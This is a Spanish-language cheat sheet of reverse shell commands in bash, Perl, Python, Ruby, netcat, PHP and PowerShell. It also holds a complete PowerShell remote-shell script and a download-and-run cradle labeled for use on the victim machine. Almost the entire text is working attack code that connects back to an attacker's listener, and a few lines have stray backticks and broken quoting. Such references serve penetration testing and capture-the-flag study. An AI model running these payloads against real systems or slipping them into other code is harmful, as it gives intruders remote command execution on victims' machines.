TIP

En todos los casos la maquina atacante deberá estár a la escucha en el puerto deseado, para ello se usa el comando de netcat:

nc -lvp puerto <- Numero de puerto libre en el que quieras escuchar

Recuerda revisar el código antes de usarlo, en muchos casos podrás encontrar las siguientes etiquetas, las cuales deberás cambiar apropiadamente:

ip -> Dirección del atacante.
puerto -> Puerto de escucha del atacante.
shell -> Shell disponible en la victima, lo mas común es sh o bash, pero podria ser otra.

Puedes usar la siguiente url para generar reverse shells customizadas: https://www.revshells.com/ O la herramienta cli: https://github.com/t0thkr1s/revshellgen

Bash reverse shell

Tcp

bash -i >& /dev/tcp/<ip>/<puerto> 0>&1

UDP

WARNING

Al ser una conexion UDP, la maquina atacante deberá usar la opción -u en netcat:

nc -lvp -u puerto
sh -i >& /dev/udp/<ip>/<port> 0>&1

Perl reverse shell

perl -e 'use Socket;$i="<ip>";$p=<puerto>;socket(S,`S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/<shell> -i");};'`)'

Python reverse shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<puerto>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/<shell>","-i"]);'`

Ruby reverse shell

ruby -rsocket -e``'f=TCPSocket.open("<ip>",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'`

Netcat reverse shell

## Netcat-traditional
nc -e /bin/<shell> <ip> <puerto>
 
## Netcat-openbsd
mkfifo /tmp/f; nc <ip> <puerto> < /tmp/f | /bin/<shell> > /tmp/f 2>&1; rm /tmp/f
 
## Netcat-busybox
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/<shell> -i 2>&1|nc <ip> <puerto> >/tmp/f

PHP reverse shell

Estas son distintas formas de obtener una reverse shell en PHP

php -r '$sock=fsockopen("<ip>",<puerto>);exec("/bin/<shell> -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("<ip>",<puerto>);shell_exec("/bin/<shell> -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("<ip>",<puerto>);`/bin/<shell> -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("<ip>",<puerto>);system("/bin/<shell> -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("<ip>",<puerto>);passthru("/bin/<shell> -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("<ip>",<puerto>);popen("/bin/<shell> -i <&3 >&3 2>&3", "r");'
php -r '$sock=fsockopen("<ip>",<puerto>);$proc=proc_open("/bin/<shell> -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Powershell reverse shell

Distintas formas de hacer una reverse shell en powershell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("<ip>",<puerto>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<puerto>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Two step reverse shell

En este caso se usa un script de PowerShell alojado en una ubicación accesible por la victima y se descarga para luego ser ejecutado

TIP

Puedes crear un servidor web de Python para desplegar el archivo

python -m http.server puerto -d directorio
## Archivo shell.ps1 (Creditos a github.com/staaldraad)
 
$socket = new-object System.Net.Sockets.TcpClient('<ip>', <port>);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
	$writer.Flush();
	$read = $null;
	$res = ""
	while($stream.DataAvailable -or $read -eq $null) {
		$read = $stream.Read($buffer, 0, 1024)
	}
	$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
	if(!$out.equals("exit")){
		$args = "";
		if($out.IndexOf(' ') -gt -1){
			$args = $out.substring($out.IndexOf(' ')+1);
			$out = $out.substring(0,$out.IndexOf(' '));
			if($args.split(' ').length -gt 1){
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo
                $pinfo.FileName = "cmd.exe"
                $pinfo.RedirectStandardError = $true
                $pinfo.RedirectStandardOutput = $true
                $pinfo.UseShellExecute = $false
                $pinfo.Arguments = "/c $out $args"
                $p = New-Object System.Diagnostics.Process
                $p.StartInfo = $pinfo
                $p.Start() | Out-Null
                $p.WaitForExit()
                $stdout = $p.StandardOutput.ReadToEnd()
                $stderr = $p.StandardError.ReadToEnd()
                if ($p.ExitCode -ne 0) {
                    $res = $stderr
                } else {
                    $res = $stdout
                }
			}
			else{
				$res = (&"$out" "$args") | out-string;
			}
		}
		else{
			$res = (&"$out") | out-string;
		}
		if($res -ne $null){
        $writer.WriteLine($res)
    }
	}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()

WARNING

La url debe dirigir al archivo .ps1 que contenga la reverse shell

# En la maquina victima
powershell IEX (New-Object Net.WebClient).DownloadString('<url>')